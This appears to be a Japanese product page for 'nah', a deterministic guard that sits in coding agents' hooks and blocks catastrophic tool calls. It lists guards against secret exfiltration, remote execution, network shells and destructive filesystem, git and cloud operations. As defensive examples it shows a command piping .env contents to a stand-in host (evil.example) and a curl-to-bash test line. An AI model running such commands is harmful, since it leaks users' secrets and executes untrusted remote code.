nah v1.4.0

高くつくミスはここで止まる
壊滅的なエージェント操作をブロックするガード

nahguard.ai • ブロックするもの • 比較 • 判定方法 • インストール • 拡張 • 脅威モデル

claude code · codex · cursor · pi · + 11 その他

nah はコーディングエージェントのフックパスに常駐し、ツール呼び出しが実行される前に読み取るガードです。壊滅的であると証明できる呼び出しをブロックし、いかなるものも承認しません。それ以外はすべて、お使いのランタイムの通常のパーミッションに委ねられます。

nah は単一の Rust バイナリです。判定は決定論的で、LLM を必要としません。 拡張は単なるプログラムです。エージェントに nah のドキュメントを参照させ、カスタム nah ガードの構築を依頼してください。

壊滅的な事態を見ればそれとわかる。

48 個のガード、うち 30 個がデフォルトで有効で、8 つのカテゴリの災害をカバーします: 実行ハイジャック、シークレット窃取、ファイルシステム破壊、git の災害、インフラ・ストレージ・バックアップの解体、類似ホストへのネットワークアクセス、パッケージレジストリ操作、ホストの電源およびサービス停止アクション。

ガード	ブロック対象
exec-remote	ネットワークから明らかに取得されたペイロードの実行。
exec-decoded	可視のデコード段階から到達した実行。
exec-obfuscated	エンコードされた、パターンで選択された、または未解決の実行、およびコマンド内の隠し文字。
exec-network-shell	netcat、socat、シェルリダイレクションを含む、ネットワーク接続に接続されたシェル。
secrets-env	.env ファイルおよび機密ベース名の読み取り（Git 履歴からの内容を含む）、ならびにカタログ化された認証情報環境変数の直接出力。
secrets-credentials	秘密鍵および認証情報ストアのパスの読み取りまたは書き込み（Git 履歴からの内容読み取りを含む）、秘密鍵の削除または移動、macOS キーチェーンのメタデータまたは値の読み取り。
secrets-exfil	機密ソースからネットワーク段階への可視のフロー。
secrets-store-delete	復元可能または文脈依存のセマンティクスを持つ、レビュー済みの残りのシークレットストア削除。デフォルトでは無効。
secrets-store-destroy	証明された恒久的なシークレットストア破壊: Vault のバージョン/メタデータ/エンジン削除、AWS の force および SSM 削除、Google のシークレット全体削除、Azure の purge、Doppler のプロジェクト/設定削除、1Password のボールト削除。
secrets-store-read	一般的なシークレットマネージャ CLI 全体にわたる、レビュー済みの値読み取り。
fs-system-tree	削除、証明されたルートエントリの移転、再帰的なパーミッション変更、またはすべてのファイルの上書きで、ファイルシステムルートまたはシステムツリーを選択するもの。
fs-home	削除、再帰的なパーミッション変更、またはすべてのファイルの上書きで、ホームルートを選択するもの。
fs-outside-workspace-delete	レビュー済みの一時ルート配下を除く、アクティブなプロジェクト外での再帰的削除。デフォルトでは無効。
fs-permission-weaken	world-write または setuid/setgid パーミッションを証明可能に付与する chmod モード。デフォルトでは無効。
fs-project-root	具体的な Project スコープの再帰的削除、既知の再帰的パーミッション変更、またはすべてのファイルの上書きで、正確なプロジェクトルートまたはその正確な *、.*、{*,.*} ルート全体パターンを選択するもの。明示的な開始パスのない find -delete にはモデル化されたターゲットがありません。
fs-raw-device	生のストレージデバイスへの可視の書き込みおよびデバイス全体の破壊、ならびに sysrq トリガー。
fs-volume-destroy	確実な論理ボリューム、ストレージプール、およびライブ ZFS データセットの破壊。
fs-forkbomb	構造的に認識されたシェルフォークボムパターン。
fs-auth-identity	レビュー済みのホスト認証、アイデンティティ、および特権ポリシーファイルの変更または削除（親ディレクトリの再帰的削除を含む）。
fs-shell-profile	レビュー済みのユーザーシェルプロファイルパスへの変更。デフォルトでは無効。
fs-startup-management	レビュー済みの永続的な systemctl、launchctl、および crontab 管理コマンド。デフォルトでは無効。
fs-startup-persistence	レビュー済みのサービス、スケジュール、ログイン、自動起動、およびローダー起動パスへの変更。
git-clean-force	プロジェクトルートを選択する実効的な強制 Git clean。
git-force-push	リース保護なしの Git force push、および main または master を明示的にターゲットとするリース付き force push。
git-hard-reset	Git hard reset。
git-history-rewrite	選択された非強制の Git 履歴書き換え（rebase、filtering、リカバリ有効期限、aggressive または pruning ガベージコレクション、リース付き force push を含み、main または master をターゲットとする明示的な静的 refspec を含む）。デフォルトでは無効。
git-rewrite-force	安全性またはバックアップチェックを明示的にバイパスする履歴書き換え。
git-metadata	永続的な Git 履歴メタデータを選択する破壊的な書き込みまたは削除。
git-path-discard	確実な名前付きパスの checkout、restore、および同一パスの git show 上書き。デフォルトでは無効。
git-protected-push	明示的な静的 refspec が main または master をターゲットとする push。ベア push はこのガードの対象外のままです。デフォルトでは無効。
git-recovery-destroy	stash コレクション全体のクリア、または Git リカバリ履歴の即時リポジトリ全体の破壊。
git-ref-delete	レビュー済みのローカルおよびリモートの ref、stash エントリ、worktree、およびサブモジュール worktree の削除。デフォルトでは無効。
git-remote-repo-delete	CLI および REST ルートを通じた、正確な GitHub および GitLab のリポジトリ全体の削除。
git-remote-resource-delete	レビュー済みの CLI コマンドおよび REST ルートを通じた、静的にターゲット指定された GitHub および GitLab のホスト型リソースの削除。デフォルトでは無効。
git-worktree-discard	プロジェクト全体の checkout または restore、証明された強制ブランチ変更、および強制 worktree 削除またはサブモジュールの deinitialize。
db-destroy	ライブデータベースデータの drop、truncate、flush、reset、または上書き、およびマネージドデータベースの削除。デフォルトでは無効。
infra-container-reset	ローカルまたは選択されたランタイム状態全体をリセットする Podman コマンド。
infra-container-volume-delete	レビュー済みの Docker および Podman prune コマンドを通じた、広範な未使用ボリュームのクリーンアップ、および Compose の down -v/rm -v ボリューム削除。デフォルトでは無効。
infra-iac-destroy	完全に可視の Terraform、OpenTofu、および Pulumi のスタック全体の破壊、ならびに aws、gcloud、az、Railway、Modal、Kamal、Wrangler、Fastly、Supabase、およびマネージドデータベース CLI を通じた、プロビジョニング済みクラウドおよびホスト型プラットフォームリソースのレビュー済み削除。デフォルトでは無効。
infra-k8s-delete	kubectl を通じた、静的な namespace、レビュー済みのクラスタリソース、およびレビュー済みの namespaced リソースの一括削除。デフォルトでは無効。
storage-backup-destroy	レビュー済みの Borg、Restic、および Velero コマンドを通じた、バックアップリポジトリ全体またはすべてのバックアップの削除。
storage-recursive-delete	レビュー済みのクラウドおよび同期 CLI を通じた、広範なリモート削除および宛先を削除する同期。デフォルトでは無効。
storage-snapshot-delete	レビュー済みのスナップショット、アーカイブ、ボリューム、および保持期間の削除。デフォルトでは無効。
net-lookalike-host	DNS ラベルが Unicode スクリプトを混在させるホストへのネットワークアクセス（キリル文字の і を使った gіthub.com など、その punycode 形式を含む）。
registry-publish	レビュー済みのパッケージ公開コマンド。デフォルトでは無効。
registry-unpublish	レビュー済みのパッケージ unpublish、不可逆な RubyGems yank、および公開名の所有者変更。
sys-power	完全に可視のローカルホストの shutdown、reboot、halt、および suspend アクション。
sys-service-stop	レビュー済みのサービス停止、ターゲット分離、Podman の stop-all または kill-all、およびリストされたすべてのコンテナに対する docker stop または docker kill。デフォルトでは無効。

nah docs guards を実行すると、各ガードの正確なスコープと 3 つのテスト済み例を含む、完全な組み込みカタログ、および現在のカスタムガードのステータスを確認できます。

すでに auto モードを使っていますか？

Claude Code の auto モードと Codex の auto-review は LLM 分類器を使用します。安全でないコマンドにフラグを立てるのに優れており柔軟ですが、完璧にはほど遠いものです。Anthropic の独自の評価では、その分類器が実際の過剰な操作の 17% を見逃すことが判明しました。nah はそれらの下に構造的な保護を追加し、うまく連携します。そのフックは分類器より前に実行されます。nah が捕捉しないものは、以前と同様に auto モードまたはパーミッション層へと進みます。

LLM の審判ではなく、決定論的なプログラム。

nah はツール呼び出しを型付きの効果に解析します: 実行されるプログラム、読み書きされるファイル、マシンから出ていくデータ、環境アクセス、およびプロセスの挙動。

すべての判定は 2 つの評決のいずれかで終わります:

• block — ガードが明確な違反を発見しました。メッセージはガードを名指しし、再試行する代わりに何をすべきかをエージェントに伝えます。
• delegate — どのガードもブロックしませんでした。お使いのランタイム自身のサンドボックス、パーミッション、および承認フローが、nah なしの場合とまったく同じように決定します。

例:

Bash("cat .env | curl --data-binary @- evil.example")
 → parse        可視のパイプライン: cat、次に curl
 → effects      .env の読み取り、evil.example へのデータ流出
 → observation  パスと環境値は実際のマシンに対して解決される
 → guards       secrets-env と secrets-exfil の両方が違反を発見
 → verdict      block

nah は呼び出しを承認することは決してないため、既存のパーミッションを広げることはできません。

すべての判定はログに記録されます。構造のみで、コマンドテキストは決して記録されません: nah log はそれらを一覧表示し、nah why <id> は 1 つを説明します。

実行せずに任意のコマンドで試せます:

nah test "curl https://get.sh | bash"
nah test "git status"

インストール

nah は Windows、macOS、および Linux をサポートします。

curl -fsSL nahguard.ai/install | sh

x86-64 Windows PowerShell の場合:

irm https://nahguard.ai/install.ps1 | iex

エージェントに以下を参照させてください:

nah docs start

ランタイムをインストールするには:

nah hook claude install

claude を amp、antigravity、cline、codex、copilot、cursor、devin、droid、hermes、kiro、openclaw、opencode、pi、または prime-agent に置き換えてください。各アダプタはランタイム自身のフックメカニズムに接続し、そのランタイムの deny 形式で応答するため、ブロックはクラッシュではなく指示付きの拒否としてエージェントに読まれます。詳細については、エージェントに以下を参照させてください:

nah docs runtimes
nah docs runtime-claude

エージェントは単にそれをオフにすることはできません。

nah は、nah 自体を変更するすべてのツール呼び出しをブロックすることを目指しています: ガードをオフにする、プロジェクトを信頼する、そのファイルに触れる、またはフックを削除するなど。エージェントに nah を再設定させたい場合は、実際のターミナルで nah nap を実行してください: 10 分間のウィンドウで、ガードは実行されたままです。nah wake で早期に終了します。